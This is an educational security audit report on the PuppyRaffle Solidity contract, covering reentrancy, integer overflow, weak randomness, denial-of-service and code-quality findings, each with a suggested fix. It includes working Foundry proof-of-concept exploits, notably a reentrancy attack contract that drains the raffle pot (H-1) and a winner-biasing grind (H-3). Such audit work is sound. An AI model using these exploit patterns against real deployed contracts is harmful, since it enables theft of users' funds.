AETHERION

INDEPENDENT REVIEW

INDEPENDENT SECURITY REVIEW

PuppyRaffle

Author: Venkatesh Pamarthi
github.com/venkateshpamarthi

Aetherion is only a personal mark on the page — a small signature, not a firm, studio, or client engagement.

PROTOCOL	PuppyRaffle
REVIEW TYPE	Educational / portfolio review
VERSION	0.1
DATE	9 October 2026
COMMIT	2a47715b30cf11ca82db148704e67652ad679cd8
COMPILER	Solidity 0.7.6
CHAIN	Ethereum
IN SCOPE	src/PuppyRaffle.sol
NSLOC	143
TOOLS	Manual review, Foundry PoCs. Aderyn was a helper only — not this report.

TABLE OF CONTENTS

1. About
2. Disclaimer
3. Risk classification
4. Audit details
5. Protocol summary
6. Executive summary
7. Findings
8. Appendix: Informational and Gas

ABOUT

Venkatesh Pamarthi is an independent smart contract reviewer and former blockchain developer. This document is an educational portfolio review of PuppyRaffle. It is not a client engagement. Aetherion is only a personal mark on the page.

DISCLAIMER

I made a best effort to find as many issues as I could in the time boxed for this review. I do not claim the list is complete, and I take no responsibility for how these findings are used. A security review is not an endorsement of the protocol or the product. The work here is limited to the security of the Solidity implementation in scope.

RISK CLASSIFICATION

Issues are graded by impact and likelihood.

		IMPACT		
		HIGH	MEDIUM	LOW
LIKELIHOOD	HIGH	H	H/M	M
	MEDIUM	H/M	M	M/L
	LOW	M	M/L	L

- **High impact:** player or protocol ETH lost, or the raffle can no longer pay a winner or fees as designed.
- **Medium impact:** a subset of users blocked, or a core path that can be griefed but not silently drained in one shot.

- **Low impact:** unexpected behavior with limited or no direct loss.
- **Informational:** documentation, clarity, or best-practice notes with no runtime loss.

AUDIT DETAILS

Findings in this document correspond to commit:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

SCOPE

```
src/
└── PuppyRaffle.sol
```

Out of scope: deployment scripts, tests, and dependencies except where they help prove a finding. `report.md` in the repo root is an Aderyn dump, not this review.

PROTOCOL SUMMARY

PuppyRaffle is a single-contract raffle. Players pay an entrance fee to join an address array. Duplicate addresses are forbidden. A player may refund their ticket. After a fixed duration, `selectWinner` sends 80% of collected ETH to a "random" winner, mints a puppy NFT, and records 20% as protocol fees for later withdrawal.

ROLES

- **Owner:** deployer. May change `feeAddress` through `changeFeeAddress`.
- **Player:** may enter through `enterRaffle` and refund through `refund`.
- **Fee recipient:** `feeAddress`, which should receive accumulated fees via `withdrawFees`.

EXECUTIVE SUMMARY

This review covers `PuppyRaffle.sol` only. It is not a paid audit. The most serious issues are a reentrancy on `refund` that can drain the pot, unsafe `uint64` fee accounting that wraps and bricks `withdrawFees`, and on-chain "randomness" that lets the caller of `selectWinner` bias the winner and the NFT rarity. Entry also becomes arbitrarily expensive because duplicate checks are quadratic. Informational and gas notes are in the appendix. All findings are **Open** — there is no protocol patch to mark against.

SEVERITY	COUNT
High	3

SEVERITY	COUNT
Medium	3
Low	1
Informational	6
Gas	2
Total	**15**

ID	FINDING	SEVERITY	STATUS
H-1	`refund` sends ETH before updating state, allowing reentrancy that drains the raffle	HIGH	Open
H-2	Unsafe `uint64` downcast of `fee` and overflow of `totalFees` in `selectWinner`	HIGH	Open
H-3	`selectWinner` uses weak on-chain randomness, so the caller can bias winner and rarity	HIGH	Open
M-1	Quadratic duplicate checks in `enterRaffle` can make further entries too expensive (DoS)	MEDIUM	Open
M-2	Pushing the prize to a winner without `receive` / `fallback` (or `address(0)`) can brick `selectWinner`	MEDIUM	Open
M-3	`withdrawFees` requires `balance == totalFees`, so a force-send of ETH can DoS fee withdrawal	MEDIUM	Open
L-1	`getActivePlayerIndex` returns `0` when the player is missing, which is also a valid index	LOW	Open
I-1	Floating, outdated Solidity pragma (`^0.7.6`)	INFORMATIONAL	Open
I-2	`feeAddress` can be set to `address(0)`	INFORMATIONAL	Open
I-3	`selectWinner` performs an external call before `_safeMint` (CEI)	INFORMATIONAL	Open
I-4	Prize and fee splits use magic numbers	INFORMATIONAL	Open
I-5	`withdrawFees` changes state without an event	INFORMATIONAL	Open
I-6	`_isActivePlayer` is unused	INFORMATIONAL	Open

ID	FINDING	SEVERITY	STATUS
G-1	Unchanged variables should be `constant` or `immutable`	GAS	Open
G-2	Storage array `.length` is read on every loop iteration	GAS	Open

FINDINGS

Recommended code diffs are illustrative. They show the intended change, not a complete drop-in patch. Informational and gas items are in the appendix.

[H-1] `refund` sends ETH before updating state, allowing reentrancy that drains the raffle

DESCRIPTION

`PuppyRaffle::refund` pays `msg.sender` with OpenZeppelin's `sendValue` **before** clearing `players[playerIndex]`. The contract is compiled as `^0.7.6` and does not use a reentrancy guard.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not
active");

    payable(msg.sender).sendValue(entranceFee); // external call first
    players[playerIndex] = address(0);          // state updated after
    emit RaffleRefunded(playerAddress);
}
```

`sendValue` forwards all remaining gas. A contract player can implement `receive()`, call `refund` again while still listed in `players`, and pull `entranceFee` once per remaining ticket in the pot. The Checks-Effects-Interactions pattern is inverted.

IMPACT

An attacker who enters once can drain every other player's entrance fee. In the PoC, a 4-player pot of 4 ETH plus the attacker's 1 ETH ticket is emptied; the attacker ends with 5 ETH.

PROOF OF CONCEPT

Add the following to `test/PuppyRaffleTest.t.sol`. Observed result: raffle balance `4e18` → `0`; attacker `1e18` → `5e18`. See `test_refund_reentrancy_drains_pot`.

```
function test_refund_reentrancy_drains_pot() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);
    vm.deal(address(attacker), 1 ether);
    attacker.attack();
    assertEq(address(puppyRaffle).balance, 0);
    assertEq(address(attacker).balance, 5 ether);
}
```

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 indexOfAttacker;

    constructor(PuppyRaffle puppyRaffleAddress) {
        puppyRaffle = puppyRaffleAddress;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        indexOfAttacker = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(indexOfAttacker);
    }

    receive() external payable {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(indexOfAttacker);
        }
    }
}
```

RECOMMENDED MITIGATION

Zero `players[playerIndex]` (and emit) **before** the ETH transfer. Add OpenZeppelin `ReentrancyGuard` (`nonReentrant`) on `refund` and any other ETH-moving function. Do not rely on `sendValue` as a guard; it forwards enough gas for a nested `refund`.

```
- contract PuppyRaffle is ERC721, Ownable {

+ contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {

-     function refund(uint256 playerIndex) public {

+     function refund(uint256 playerIndex) public nonReentrant {

          address playerAddress = players[playerIndex];
          require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
          require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is
not active");

-         payable(msg.sender).sendValue(entranceFee);

          players[playerIndex] = address(0);
          emit RaffleRefunded(playerAddress);
+         payable(msg.sender).sendValue(entranceFee);

      }
```

[H-2] Unsafe `uint64` downcast of `fee` and overflow of `totalFees` in `selectWinner`

DESCRIPTION

One line in `selectWinner` has **two** silent wraps. Fees are computed as `uint256` (20% of `players.length * entranceFee`), then forced into `uint64 totalFees`:

```
uint64 public totalFees = 0;
// ...
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
```

This is Solidity **0.7.6**, so neither the downcast nor the addition reverts. Both wrap modulo `2^64`.

`uint64.max` ≈ **18.4467 ETH**. With a 1 ETH ticket, fee per player is **0.2 ETH**.

Issue 1 — `uint256` → `uint64` downcast of `fee`: a *single* raffle's fee is truncated if it is larger than `uint64.max`.

PLAYERS	TRUE 20% FEE	UINT64(FEE)
92	18.4 ETH	18.4 ETH (fits)
93	18.6 ETH	wraps (~0.15 ETH)

Issue 2 — `uint64` addition overflow on `totalFees`: even when each round's `fee` fits in `uint64`, the *sum* can still wrap. Two raffles of 50 players: 10 ETH + 10 ETH = 20 ETH, which is above `uint64.max`.

The 92-then-95 PoC hits **both**: round 2's 19 ETH fee is first truncated by the cast, then that truncated value is added into `totalFees` and the `uint64` add wraps again.

IMPACT

`totalFees` no longer matches ETH left in the contract after the 80% prize is paid. `withdrawFees` requires `address(this).balance == uint256(totalFees)`, so the owner cannot withdraw. Protocol fees are stuck (or, if that check were removed, the recorded fee would underpay the fee address).

PROOF OF CONCEPT

With 1 ETH tickets, both wraps in sequence:

ROUND	PLAYERS	TRUE 20% FEE	WHAT WRAPS	TOTALFEES AFTER
1	92	18.4 ETH	neither	`18400000000000000000` (correct)
2	95	19.0 ETH	cast of `fee`, then add into `totalFees`	`506511852580896768` (~0.507 ETH)

```
function test_overflow() public {
    address[] memory players = new address[](92);
    for (uint256 i = 0; i < 92; i++) {
        players[i] = address(i + 1);
    }
    puppyRaffle.enterRaffle{value: entranceFee * 92}(players);
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();
    // totalFees == 18.4 ether  (fits in uint64)

    address[] memory players2 = new address[](95);
    for (uint256 i = 0; i < 95; i++) {
        players2[i] = address(i + 100);
    }
    puppyRaffle.enterRaffle{value: entranceFee * 95}(players2);
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();
    // uint64(19 ether) wraps, then uint64 add wraps → ~0.507 ether
}
```

RECOMMENDED MITIGATION

Store `totalFees` as `uint256`. Remove `uint64(fee)`. That fixes both the downcast and the addition overflow. If packing is required, use a saturating add that reverts on overflow (Solidity 0.8 checked math, or `SafeMath` on 0.7).

```
- uint64 public totalFees = 0;

+ uint256 public totalFees = 0;


          uint256 fee = (totalAmountCollected * 20) / 100;
-         totalFees = totalFees + uint64(fee);

+         totalFees = totalFees + fee;
```

[H-3] `selectWinner` uses weak on-chain randomness, so the caller can bias winner and rarity

DESCRIPTION

Winner index and NFT rarity are derived from `msg.sender`, `block.timestamp`, and `block.difficulty`:

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) %
players.length;
// ...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```

Those values are public and, at the time of this compiler (`0.7.6` / pre-Paris `PREVRANDAO`), miner- or validator-influenceable. Anyone may call `selectWinner`. A participant can:

- Call from an address whose hash maps to their own index.
- Revert if the result is not favorable (`winner.call` / `_safeMint` still run in the same transaction, so a smart-contract caller can revert the whole draw).

`block.difficulty` is also the wrong opcode on post-Merge Ethereum (`PREVRANDAO`).

IMPACT

The 80% prize pool and the puppy rarity are not fair. A motivated caller can take the pot or grind a legendary NFT. This breaks the core raffle promise.

PROOF OF CONCEPT

The winner index is `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length`. Two callers can force two different winners in the same block. See `test_selectWinner_callerBiasesWinner`.

```
function test_selectWinner_callerBiasesWinner() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address callerPlayerOne;
    address callerPlayerTwo;
    for (uint256 i = 10; i < 500; i++) {
        address caller = address(i);
        uint256 idx =
            uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) %
4;
        if (idx == 0 && callerPlayerOne == address(0)) callerPlayerOne = caller;
        if (idx == 1 && callerPlayerTwo == address(0)) callerPlayerTwo = caller;
        if (callerPlayerOne != address(0) && callerPlayerTwo != address(0)) break;
    }

    uint256 snap = vm.snapshot();
    vm.prank(callerPlayerOne);
    puppyRaffle.selectWinner();
    assertEq(puppyRaffle.previousWinner(), playerOne);

    vm.revertTo(snap);
    vm.prank(callerPlayerTwo);
    puppyRaffle.selectWinner();
    assertEq(puppyRaffle.previousWinner(), playerTwo);
}
```

RECOMMENDED MITIGATION

Use Chainlink VRF (or an equivalent verifiable randomness service). Do not use `msg.sender`, `block.timestamp`, `block.difficulty`, or `blockhash` as the sole source of randomness for payouts.

[M-1] Quadratic duplicate checks in `enterRaffle` can make further entries too expensive (DoS)

DESCRIPTION

After pushing new players, `enterRaffle` compares every pair in the **entire** `players` storage array:

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Cost is **O(n²)** in the current raffle size. Each later `enterRaffle` re-walks all previous players.

IMPACT

Honest players (or the next batch) can hit the block gas limit and fail to enter. An attacker can fill the array cheaply in early calls, then grief the raffle until duration expires with a stuck, incomplete set. Duplicate checks also do not stop an attacker who uses fresh addresses.

Measured in-test (`gasleft()` around two batches of 100 players):

BATCH	GAS (APPROX.)
First 100	6,538,554
Second 100	19,242,106 (~3×)

PROOF OF CONCEPT

See `test_denailOfService` in `PuppyRaffleTest.t.sol` (`assert(gasUsed < gasUsedSecond)`).

RECOMMENDED MITIGATION

Track membership with `mapping(address => bool)` or OpenZeppelin `EnumerableSet`. Check duplicates in **O(1)** per new address as they are pushed. Do not nested-loop the full history on every entry.

```
+ mapping(address => bool) public isActivePlayer;


  function enterRaffle(address[] memory newPlayers) public payable {
      require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to
enter raffle");
      for (uint256 i = 0; i < newPlayers.length; i++) {
-         players.push(newPlayers[i]);

+         address player = newPlayers[i];

+         require(player != address(0), "PuppyRaffle: Zero address");
```

```
+         require(!isActivePlayer[player], "PuppyRaffle: Duplicate player");
+         isActivePlayer[player] = true;
+         players.push(player);
      }
-     for (uint256 i = 0; i < players.length - 1; i++) {
-         for (uint256 j = i + 1; j < players.length; j++) {
-             require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-         }
-     }
      emit RaffleEnter(newPlayers);
  }
```

[M-2] Pushing the prize to a winner without `receive`/`fallback` (or `address(0)`) can brick `selectWinner`

DESCRIPTION

The prize is pushed with a raw call, then the NFT is minted:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
// ...
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

Three related failures share this path:

1. If `winner` is a contract with no `receive`/`fallback`, `success` is false and the whole draw reverts.
2. `refund` leaves `address(0)` holes without shrinking `players`. `winnerIndex` is `hash % players.length`, so `winner` can be `address(0)`. A send to zero may succeed; `_safeMint(address(0), ...)` reverts in ERC721.
3. Prize and fee are computed from `players.length`, not from active (non-zero) tickets or `address(this).balance`. Refunded slots still count. Example: four players enter, one refunds. Length is still 4, so `selectWinner` is allowed. Balance is 3 ETH; prize is 3.2 ETH. The send reverts and the draw cannot complete.

IMPACT

One non-receiving contract, one refunded slot, or inflated prize math can prevent every later draw. Player ETH stays locked; no winner is minted; fees cannot be withdrawn.

PROOF OF CONCEPT

See `test_selectWinner_revertsIfWinnerCannotReceive` and `test_selectWinner_revertsWhenRefundInflatesPrize`.

```
contract NoReceive {}

function test_selectWinner_revertsIfWinnerCannotReceive() public {
    address[] memory players = new address[](4);
    for (uint256 i = 0; i < 4; i++) {
        players[i] = address(new NoReceive());
    }
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    vm.warp(block.timestamp + duration + 1);
    vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
    puppyRaffle.selectWinner();
}

function test_selectWinner_revertsWhenRefundInflatesPrize() public playersEntered {
    vm.prank(playerOne);
    puppyRaffle.refund(0);
    vm.warp(block.timestamp + duration + 1);
    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

RECOMMENDED MITIGATION

Compact the array on refund (or skip `address(0)` when choosing a winner). Size the prize from remaining balance or from a running `activePlayerCount`, not from `players.length`. Prefer **pull** payouts. If push is kept, do not revert the entire draw on a failed send.

```
+ mapping(address => uint256) public pendingPrize;

+ uint256 public activePlayerCount;


- uint256 totalAmountCollected = players.length * entranceFee;

- uint256 prizePool = (totalAmountCollected * 80) / 100;

- (bool success,) = winner.call{value: prizePool}("");

- require(success, "PuppyRaffle: Failed to send prize pool to winner");

- _safeMint(winner, tokenId);


+ require(winner != address(0), "PuppyRaffle: Winner refunded");

+ uint256 totalAmountCollected = activePlayerCount * entranceFee;

+ uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;

+ pendingPrize[winner] += prizePool;
```

```
+
+ function claimPrize() external {
+     uint256 amount = pendingPrize[msg.sender];
+     require(amount > 0, "PuppyRaffle: Nothing to claim");
+     pendingPrize[msg.sender] = 0;
+     (bool success,) = msg.sender.call{value: amount}("");
+     require(success, "PuppyRaffle: Claim failed");
+ }
```

[M-3] `withdrawFees` requires `balance == totalFees`, so a force-send of ETH can DoS fee withdrawal

DESCRIPTION

```
function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently
players active!");
    // ...
}
```

The intent is to block withdrawals while tickets are still in the pot. Anyone can still force ETH into the contract (for example `selfdestruct` in 0.7, or a coinbase send). Then `balance` is **greater** than `totalFees` even with `players` empty, and the require fails forever.

This is worse when combined with H-2, where `totalFees` already diverges from true fees.

IMPACT

Protocol fees cannot be withdrawn. Not a direct steal by itself, but it permanently bricks the fee path.

PROOF OF CONCEPT

After a successful draw, extra wei on the raffle (Foundry stand-in for a force-send) makes `withdrawFees` revert even though no players are active. See `test_withdrawFees_dosWithForcedEth`.

```
function test_withdrawFees_dosWithForcedEth() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    puppyRaffle.selectWinner();

    uint256 fees = uint256(puppyRaffle.totalFees());
    assertEq(address(puppyRaffle).balance, fees);

    vm.deal(address(puppyRaffle), fees + 1);
```

```
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

RECOMMENDED MITIGATION

Do not compare `address(this).balance` to `totalFees`. Withdraw `totalFees` (capped by balance) after `players.length == 0` (or an explicit "raffle idle" flag). Ignore stray ETH or sweep it in a separate owner function.

```
  function withdrawFees() external {
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

+     require(players.length == 0, "PuppyRaffle: There are currently players active!");

      uint256 feesToWithdraw = totalFees;
+     require(feesToWithdraw > 0, "PuppyRaffle: No fees");

+     require(address(this).balance >= feesToWithdraw, "PuppyRaffle: Insufficient balance");

      totalFees = 0;
      (bool success,) = feeAddress.call{value: feesToWithdraw}("");
      require(success, "PuppyRaffle: Failed to withdraw fees");
+     emit FeesWithdrawn(feeAddress, feesToWithdraw);

  }
```

[L-1] `getActivePlayerIndex` returns `0` when the player is missing, which is also a valid index

DESCRIPTION

NatSpec says a missing player returns `0`. Index `0` is also the first seated player.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

A caller cannot tell "I am player 0" from "I am not in the raffle." `refund(0)` for a stranger reverts on the `msg.sender` check, but integrations that trust the index will mis-handle both cases.

IMPACT

Wrong UX and broken off-chain logic. Combined with H-1, a confused index is dangerous. Not a standalone theft.

PROOF OF CONCEPT

After four players enter, `getActivePlayerIndex(playerOne) == getActivePlayerIndex(address(5)) == 0`. See `test_getActivePlayerIndex`.

RECOMMENDED MITIGATION

Revert if the address is not found, or return a sentinel (`type(uint256).max`) and document it. Do not reuse a valid index.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
-       return 0;

+       revert("PuppyRaffle: Player not found");

    }
```

APPENDIX: INFORMATIONAL AND GAS

These items do not move ETH by themselves. They stay in the report for completeness.

[I-1] Floating, outdated Solidity pragma (`^0.7.6`)

DESCRIPTION

`pragma solidity ^0.7.6;` allows any 0.7.x compiler from 0.7.6 upward and locks the project to a line without 0.8 overflow checks, custom errors, or Paris `PREVRANDAO`.

IMPACT

Builds can differ across 0.7.x. Known 0.7 footguns (silent overflow, as in H-2) stay in play.

RECOMMENDED MITIGATION

Pin a single version (for example `pragma solidity 0.8.18;`) after a careful upgrade. Do not stay on 0.7 for new work.

```
- pragma solidity ^0.7.6;

+ pragma solidity 0.8.18;
```

[I-2] `feeAddress` can be set to `address(0)`

DESCRIPTION

Constructor and `changeFeeAddress` assign `feeAddress` with no zero check (`PuppyRaffle.sol` lines 64 and 183).

IMPACT

Fees can be directed to the zero address. Unlikely as an attack if the owner is honest; easy to misconfigure.

RECOMMENDED MITIGATION

Reject the zero address in the constructor and in `changeFeeAddress`.

```
  constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration)
ERC721("Puppy Raffle", "PR") {
+     require(_feeAddress != address(0), "PuppyRaffle: feeAddress cannot be zero");

      entranceFee = _entranceFee;
      feeAddress = _feeAddress;
      raffleDuration = _raffleDuration;
  }

  function changeFeeAddress(address newFeeAddress) external onlyOwner {
+     require(newFeeAddress != address(0), "PuppyRaffle: feeAddress cannot be zero");

      feeAddress = newFeeAddress;
      emit FeeAddressChanged(newFeeAddress);
  }
```

[I-3] `selectWinner` performs an external call before `_safeMint` (CEI)

DESCRIPTION

`selectWinner` deletes `players` and then pays the winner **before** `_safeMint`. A contract winner's `receive` runs while the NFT is still unminted and while leftover fee ETH is still in the contract. That callback can call `withdrawFees`, `enterRaffle`, or other public functions in a surprising order. `_safeMint` itself also callbacks via `onERC721Received`.

```
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

The `refund` reentrancy in H-1 is the severe case. This finding is the remaining CEI smell on the draw path.

RECOMMENDED MITIGATION

Finish all state changes and mint, then pay — or use a pull pattern. Add `nonReentrant` on `selectWinner`, `refund`, and `withdrawFees`.

```
      delete players;
      raffleStartTime = block.timestamp;
      previousWinner = winner;
```

```
-     (bool success,) = winner.call{value: prizePool}("");

-     require(success, "PuppyRaffle: Failed to send prize pool to winner");

      _safeMint(winner, tokenId);
+     (bool success,) = winner.call{value: prizePool}("");

+     require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-4] Prize and fee splits use magic numbers

DESCRIPTION

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

RECOMMENDED MITIGATION

```
+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80;

+ uint256 public constant FEE_PERCENTAGE = 20;

+ uint256 public constant POOL_PRECISION = 100;


- uint256 prizePool = (totalAmountCollected * 80) / 100;

- uint256 fee = (totalAmountCollected * 20) / 100;

+ uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;

+ uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-5] `withdrawFees` changes state without an event

DESCRIPTION

`withdrawFees` zeros `totalFees` and sends ETH. There is no event. `FeeAddressChanged` exists for a related action, but withdrawals are invisible to indexers.

RECOMMENDED MITIGATION

Emit an event when fees leave the contract.

```
+ event FeesWithdrawn(address indexed to, uint256 amount);


  function withdrawFees() external {
      uint256 feesToWithdraw = totalFees;
      totalFees = 0;
```

```
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
+       emit FeesWithdrawn(feeAddress, feesToWithdraw);

    }
```

[I-6] `_isActivePlayer` is unused

DESCRIPTION

`_isActivePlayer` walks `players` for `msg.sender` and is never called. Duplicate logic exists in `getActivePlayerIndex` / `refund`.

IMPACT

Extra code to maintain; no runtime bug.

RECOMMENDED MITIGATION

Remove the unused function (prefer the `mapping` in M-1 instead of a second loop).

```
- function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-         if (players[i] == msg.sender) {
-             return true;
-         }
-     }
-     return false;
- }
```

[G-1] Unchanged variables should be `constant` or `immutable`

Reading storage is more expensive than `constant` / `immutable`.

- `raffleDuration` is only set in the constructor → `immutable`
- `commonImageUri`, `rareImageUri`, `legendaryImageUri` never change → `constant`

RECOMMENDED MITIGATION

```
- uint256 public raffleDuration;

+ uint256 public immutable raffleDuration;
```

```
- string private commonImageUri = "ipfs://...";
+ string private constant commonImageUri = "ipfs://...";
- string private rareImageUri = "ipfs://...";
+ string private constant rareImageUri = "ipfs://...";
- string private legendaryImageUri = "ipfs://...";
+ string private constant legendaryImageUri = "ipfs://...";
```

[G-2] Storage array `.length` is read on every loop iteration

`.length` on a storage array is an `SLOAD` each condition check.

Instances: `enterRaffle` duplicate loops (lines 91–92), `getActivePlayerIndex` (line 119), `_isActivePlayer` (line 190).

RECOMMENDED MITIGATION

Cache `.length` once. Better: eliminate the O(n²) loops (M-1).

```
- for (uint256 i = 0; i < players.length; i++) {
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength; i++) {
        if (players[i] == player) {
            return i;
        }
    }
```